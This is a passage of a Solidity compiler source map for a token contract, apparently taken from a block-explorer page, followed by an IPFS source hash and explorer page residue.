;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3384:52;;;3455:7;3447:78;;;;-1:-1:-1;;;3447:78:0;;22608:2:1;3447:78:0;;;22590:21:1;22647:2;22627:18;;;22620:30;22686:34;22666:18;;;22659:62;22757:28;22737:18;;;22730:56;22803:19;;3447:78:0;22406:422:1;13256:454:0;13342:36;;:::i;:::-;13403:37;13415:7;13424;13433:6;13403:11;:37::i;:::-;13391:49;;13544:53;13557:9;13568:7;13577;13586:10;:8;:10::i;:::-;13544:12;:53::i;:::-;13520:20;;;13451:146;13498:20;;;13451:146;13471:25;;;13451:146;;;13631:44;13452:9;13655:7;13664:10;:8;:10::i;:::-;13631:12;:44::i;:::-;13609:18;;;13608:67;13256:454;;;;;:::o;12394:266::-;12501:10;12477:11;:21;;;:34;;;;;;;:::i;:::-;;;;-1:-1:-1;;12547:4:0;12527:26;;;;:11;:26;;;;;;;;12524:92;;;12587:4;;-1:-1:-1;;;;;12587:4:0;12579:13;;;;:7;:13;;;;;:25;;12594:10;;12579:13;:25;;12594:10;;12579:25;:::i;:::-;;;;-1:-1:-1;;12524:92:0;12634:4;;-1:-1:-1;;;;;12634:4:0;12626:13;;;;:7;:13;;;;;:26;;12642:10;;12626:13;:26;;12642:10;;12626:26;:::i;:::-;;;;-1:-1:-1;;;;12394:266:0:o;12668:288::-;12775:10;12751:11;:21;;;:34;;;;;;;:::i;:::-;;;;-1:-1:-1;;12821:4:0;12801:26;;;;:11;:26;;;;;;;;12798:103;;;12861:15;;-1:-1:-1;;;;;12861:15:0;12853:24;;;;:7;:24;;;;;:36;;12879:10;;12853:24;:36;;12879:10;;12853:36;:::i;:::-;;;;-1:-1:-1;;12798:103:0;12919:15;;-1:-1:-1;;;;;12919:15:0;12911:24;;;;:7;:24;;;;;:37;;12938:10;;12911:24;:37;;12938:10;;12911:37;:::i;12968:270::-;13067:8;13045:11;:19;;;:30;;;;;;;:::i;:::-;;;;-1:-1:-1;;13111:4:0;13091:26;;;;:11;:26;;;;;;;;13088:99;;;13151:13;;-1:-1:-1;;;;;13151:13:0;13143:22;;;;:7;:22;;;;;:32;;13167:8;;13143:22;:32;;13167:8;;13143:32;:::i;:::-;;;;-1:-1:-1;;13088:99:0;13205:13;;-1:-1:-1;;;;;13205:13:0;13197:22;;;;:7;:22;;;;;:33;;13222:8;;13197:22;:33;;13222:8;;13197:33;:::i;13718:563::-;13805:28;;:::i;:::-;13852:7;13848:86;;13874:17;;;:27;;;13914:8;;13848:86;13944:17;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13944:17:0;13975:6;13972:55;;;-1:-1:-1;13983:16:0;;;;;;;;13990:9;13983:16;;;;;;;;;;;;;;;;;;;;;;;;;13972:55;;;-1:-1:-1;14015:12:0;;;;;;;;14022:5;14015:12;;;;;;;;;;;;;;;;;;;;;;;;13972:55;14076:3;14061:4;:14;;;14053:7;:22;;;;:::i;:::-;:26;;;;:::i;:::-;14038:12;;;:41;14113:14;;;;14128:3;;14105:22;;:7;:22;:::i;:::-;:26;;;;:::i;:::-;14090:12;;;:41;14163:12;;;;14176:3;;14155:20;;:7;:20;:::i;:::-;:24;;;;:::i;:::-;14142:10;;;:37;;;14231:12;;;;14218;;;;14210:20;;:7;:20;:::i;:::-;:33;;;;:::i;:::-;:44;;;;:::i;:::-;14190:17;;;:64;-1:-1:-1;13718:563:0;;;;;:::o;14289:617::-;14415:15;;;;14516:19;14524:11;14516:7;:19;:::i;:::-;14506:29;;14552:7;14548:67;;-1:-1:-1;14581:7:0;;-1:-1:-1;14599:1:0;;-1:-1:-1;14599:1:0;14574:29;;14548:67;14653:11;14640:1;:12;;;:24;;;;:::i;:::-;14627:37;;14701:11;14688:1;:12;;;:24;;;;:::i;:::-;14675:37;;14723:16;14753:11;14742:1;:10;;;:22;;;;:::i;:::-;14723:41;-1:-1:-1;14723:41:0;14813:10;14794:18;14802:10;14794:7;:18;:::i;:::-;:29;;;;:::i;:::-;:38;;;;:::i;:::-;14775:57;;14843:55;14289:617;;;;;;;;;;:::o;14918:268::-;15027:16;15062:7;15058:47;;-1:-1:-1;15091:1:0;15084:9;;15058:47;15139:11;15128:1;:10;;;:22;;;;:::i;:::-;15117:33;14918:268;-1:-1:-1;;;;14918:268:0:o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1354:118::-;1440:5;1433:13;1426:21;1419:5;1416:32;1406:60;;1462:1;1459;1452:12;1477:128;1542:20;;1571:28;1542:20;1571:28;:::i;1610:750::-;1702:6;1710;1718;1771:2;1759:9;1750:7;1746:23;1742:32;1739:52;;;1787:1;1784;1777:12;1739:52;1827:9;1814:23;1856:18;1897:2;1889:6;1886:14;1883:34;;;1913:1;1910;1903:12;1883:34;1951:6;1940:9;1936:22;1926:32;;1996:7;1989:4;1985:2;1981:13;1977:27;1967:55;;2018:1;2015;2008:12;1967:55;2058:2;2045:16;2084:2;2076:6;2073:14;2070:34;;;2100:1;2097;2090:12;2070:34;2155:7;2148:4;2138:6;2135:1;2131:14;2127:2;2123:23;2119:34;2116:47;2113:67;;;2176:1;2173;2166:12;2113:67;2207:4;2199:13;;;;-1:-1:-1;2231:6:1;-1:-1:-1;;2272:20:1;;2259:34;2302:28;2259:34;2302:28;:::i;:::-;2349:5;2339:15;;;1610:750;;;;;:::o;2547:456::-;2624:6;2632;2640;2693:2;2681:9;2672:7;2668:23;2664:32;2661:52;;;2709:1;2706;2699:12;2661:52;2748:9;2735:23;2767:31;2792:5;2767:31;:::i;:::-;2817:5;-1:-1:-1;2874:2:1;2859:18;;2846:32;2887:33;2846:32;2887:33;:::i;:::-;2547:456;;2939:7;;-1:-1:-1;;;2993:2:1;2978:18;;;;2965:32;;2547:456::o;3008:180::-;3067:6;3120:2;3108:9;3099:7;3095:23;3091:32;3088:52;;;3136:1;3133;3126:12;3088:52;-1:-1:-1;3159:23:1;;3008:180;-1:-1:-1;3008:180:1:o;3590:241::-;3646:6;3699:2;3687:9;3678:7;3674:23;3670:32;3667:52;;;3715:1;3712;3705:12;3667:52;3754:9;3741:23;3773:28;3795:5;3773:28;:::i;3836:247::-;3895:6;3948:2;3936:9;3927:7;3923:23;3919:32;3916:52;;;3964:1;3961;3954:12;3916:52;4003:9;3990:23;4022:31;4047:5;4022:31;:::i;4088:388::-;4156:6;4164;4217:2;4205:9;4196:7;4192:23;4188:32;4185:52;;;4233:1;4230;4223:12;4185:52;4272:9;4259:23;4291:31;4316:5;4291:31;:::i;:::-;4341:5;-1:-1:-1;4398:2:1;4383:18;;4370:32;4411:33;4370:32;4411:33;:::i;:::-;4463:7;4453:17;;;4088:388;;;;;:::o;4481:248::-;4549:6;4557;4610:2;4598:9;4589:7;4585:23;4581:32;4578:52;;;4626:1;4623;4616:12;4578:52;-1:-1:-1;;4649:23:1;;;4719:2;4704:18;;;4691:32;;-1:-1:-1;4481:248:1:o;4734:382::-;4799:6;4807;4860:2;4848:9;4839:7;4835:23;4831:32;4828:52;;;4876:1;4873;4866:12;4828:52;4915:9;4902:23;4934:31;4959:5;4934:31;:::i;:::-;4984:5;-1:-1:-1;5041:2:1;5026:18;;5013:32;5054:30;5013:32;5054:30;:::i;5749:127::-;5810:10;5805:3;5801:20;5798:1;5791:31;5841:4;5838:1;5831:15;5865:4;5862:1;5855:15;5881:1191;5971:6;5979;6032:2;6020:9;6011:7;6007:23;6003:32;6000:52;;;6048:1;6045;6038:12;6000:52;6088:9;6075:23;6117:18;6158:2;6150:6;6147:14;6144:34;;;6174:1;6171;6164:12;6144:34;6212:6;6201:9;6197:22;6187:32;;6257:7;6250:4;6246:2;6242:13;6238:27;6228:55;;6279:1;6276;6269:12;6228:55;6315:2;6302:16;6337:4;6360:2;6356;6353:10;6350:36;;;6366:18;;:::i;:::-;6412:2;6409:1;6405:10;6444:2;6438:9;6507:2;6503:7;6498:2;6494;6490:11;6486:25;6478:6;6474:38;6562:6;6550:10;6547:22;6542:2;6530:10;6527:18;6524:46;6521:72;;;6573:18;;:::i;:::-;6609:2;6602:22;6659:18;;;6693:15;;;;-1:-1:-1;6735:11:1;;;6731:20;;;6763:19;;;6760:39;;;6795:1;6792;6785:12;6760:39;6819:11;;;;6839:148;6855:6;6850:3;6847:15;6839:148;;;6921:23;6940:3;6921:23;:::i;:::-;6909:36;;6872:12;;;;6965;;;;6839:148;;;7006:6;-1:-1:-1;7031:35:1;;-1:-1:-1;7047:18:1;;;7031:35;:::i;:::-;7021:45;;;;;;5881:1191;;;;;:::o;7077:385::-;7163:6;7171;7179;7187;7240:3;7228:9;7219:7;7215:23;7211:33;7208:53;;;7257:1;7254;7247:12;7208:53;-1:-1:-1;;7280:23:1;;;7350:2;7335:18;;7322:32;;-1:-1:-1;7401:2:1;7386:18;;7373:32;;7452:2;7437:18;7424:32;;-1:-1:-1;7077:385:1;-1:-1:-1;7077:385:1:o;7467:309::-;7532:6;7540;7593:2;7581:9;7572:7;7568:23;7564:32;7561:52;;;7609:1;7606;7599:12;7561:52;7648:9;7635:23;7667:28;7689:5;7667:28;:::i;8004:347::-;8206:2;8188:21;;;8245:2;8225:18;;;8218:30;8284:25;8279:2;8264:18;;8257:53;8342:2;8327:18;;8004:347::o;8356:356::-;8558:2;8540:21;;;8577:18;;;8570:30;8636:34;8631:2;8616:18;;8609:62;8703:2;8688:18;;8356:356::o;8717:127::-;8778:10;8773:3;8769:20;8766:1;8759:31;8809:4;8806:1;8799:15;8833:4;8830:1;8823:15;8849:127;8910:10;8905:3;8901:20;8898:1;8891:31;8941:4;8938:1;8931:15;8965:4;8962:1;8955:15;8981:135;9020:3;9041:17;;;9038:43;;9061:18;;:::i;:::-;-1:-1:-1;9108:1:1;9097:13;;8981:135::o;9530:128::-;9597:9;;;9618:11;;;9615:37;;;9632:18;;:::i;10074:217::-;10114:1;10140;10130:132;;10184:10;10179:3;10175:20;10172:1;10165:31;10219:4;10216:1;10209:15;10247:4;10244:1;10237:15;10130:132;-1:-1:-1;10276:9:1;;10074:217::o;10296:125::-;10361:9;;;10382:10;;;10379:36;;;10395:18;;:::i;10426:422::-;10515:1;10558:5;10515:1;10572:270;10593:7;10583:8;10580:21;10572:270;;;10652:4;10648:1;10644:6;10640:17;10634:4;10631:27;10628:53;;;10661:18;;:::i;:::-;10711:7;10701:8;10697:22;10694:55;;;10731:16;;;;10694:55;10810:22;;;;10770:15;;;;10572:270;;;10576:3;10426:422;;;;;:::o;10853:806::-;10902:5;10932:8;10922:80;;-1:-1:-1;10973:1:1;10987:5;;10922:80;11021:4;11011:76;;-1:-1:-1;11058:1:1;11072:5;;11011:76;11103:4;11121:1;11116:59;;;;11189:1;11184:130;;;;11096:218;;11116:59;11146:1;11137:10;;11160:5;;;11184:130;11221:3;11211:8;11208:17;11205:43;;;11228:18;;:::i;:::-;-1:-1:-1;;11284:1:1;11270:16;;11299:5;;11096:218;;11398:2;11388:8;11385:16;11379:3;11373:4;11370:13;11366:36;11360:2;11350:8;11347:16;11342:2;11336:4;11333:12;11329:35;11326:77;11323:159;;;-1:-1:-1;11435:19:1;;;11467:5;;11323:159;11514:34;11539:8;11533:4;11514:34;:::i;:::-;11584:6;11580:1;11576:6;11572:19;11563:7;11560:32;11557:58;;;11595:18;;:::i;:::-;11633:20;;10853:806;-1:-1:-1;;;10853:806:1:o;11664:140::-;11722:5;11751:47;11792:4;11782:8;11778:19;11772:4;11751:47;:::i;11809:168::-;11882:9;;;11913;;11930:15;;;11924:22;;11910:37;11900:71;;11951:18;;:::i;11982:184::-;12052:6;12105:2;12093:9;12084:7;12080:23;12076:32;12073:52;;;12121:1;12118;12111:12;12073:52;-1:-1:-1;12144:16:1;;11982:184;-1:-1:-1;11982:184:1:o;12450:245::-;12517:6;12570:2;12558:9;12549:7;12545:23;12541:32;12538:52;;;12586:1;12583;12576:12;12538:52;12618:9;12612:16;12637:28;12659:5;12637:28;:::i;12700:591::-;-1:-1:-1;;;;;13043:15:1;;;13025:34;;13090:2;13075:18;;13068:34;;;;13133:2;13118:18;;13111:34;;;;13176:2;13161:18;;13154:34;;;;13225:15;;;13219:3;13204:19;;13197:44;13005:3;13257:19;;13250:35;;;;12974:3;12959:19;;12700:591::o;13296:245::-;13375:6;13383;13436:2;13424:9;13415:7;13411:23;13407:32;13404:52;;;13452:1;13449;13442:12;13404:52;-1:-1:-1;;13475:16:1;;13531:2;13516:18;;;13510:25;13475:16;;13510:25;;-1:-1:-1;13296:245:1:o;19674:251::-;19744:6;19797:2;19785:9;19776:7;19772:23;19768:32;19765:52;;;19813:1;19810;19803:12;19765:52;19845:9;19839:16;19864:31;19889:5;19864:31;:::i;19930:980::-;20192:4;20240:3;20229:9;20225:19;20271:6;20260:9;20253:25;20297:2;20335:6;20330:2;20319:9;20315:18;20308:34;20378:3;20373:2;20362:9;20358:18;20351:31;20402:6;20437;20431:13;20468:6;20460;20453:22;20506:3;20495:9;20491:19;20484:26;;20545:2;20537:6;20533:15;20519:29;;20566:1;20576:195;20590:6;20587:1;20584:13;20576:195;;;20655:13;;-1:-1:-1;;;;;20651:39:1;20639:52;;20746:15;;;;20711:12;;;;20687:1;20605:9;20576:195;;;-1:-1:-1;;;;;;;20827:32:1;;;;20822:2;20807:18;;20800:60;-1:-1:-1;;;20891:3:1;20876:19;20869:35;20788:3;19930:980;-1:-1:-1;;;19930:980:1:o;21527:306::-;21615:6;21623;21631;21684:2;21672:9;21663:7;21659:23;21655:32;21652:52;;;21700:1;21697;21690:12;21652:52;21729:9;21723:16;21713:26;;21779:2;21768:9;21764:18;21758:25;21748:35;;21823:2;21812:9;21808:18;21802:25;21792:35;;21527:306;;;;;:::o

Swarm Source

ipfs://ceb87aeb8d4f9441191429ed51f09633c3484dc1941c7e281846d6191a0f9f91
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.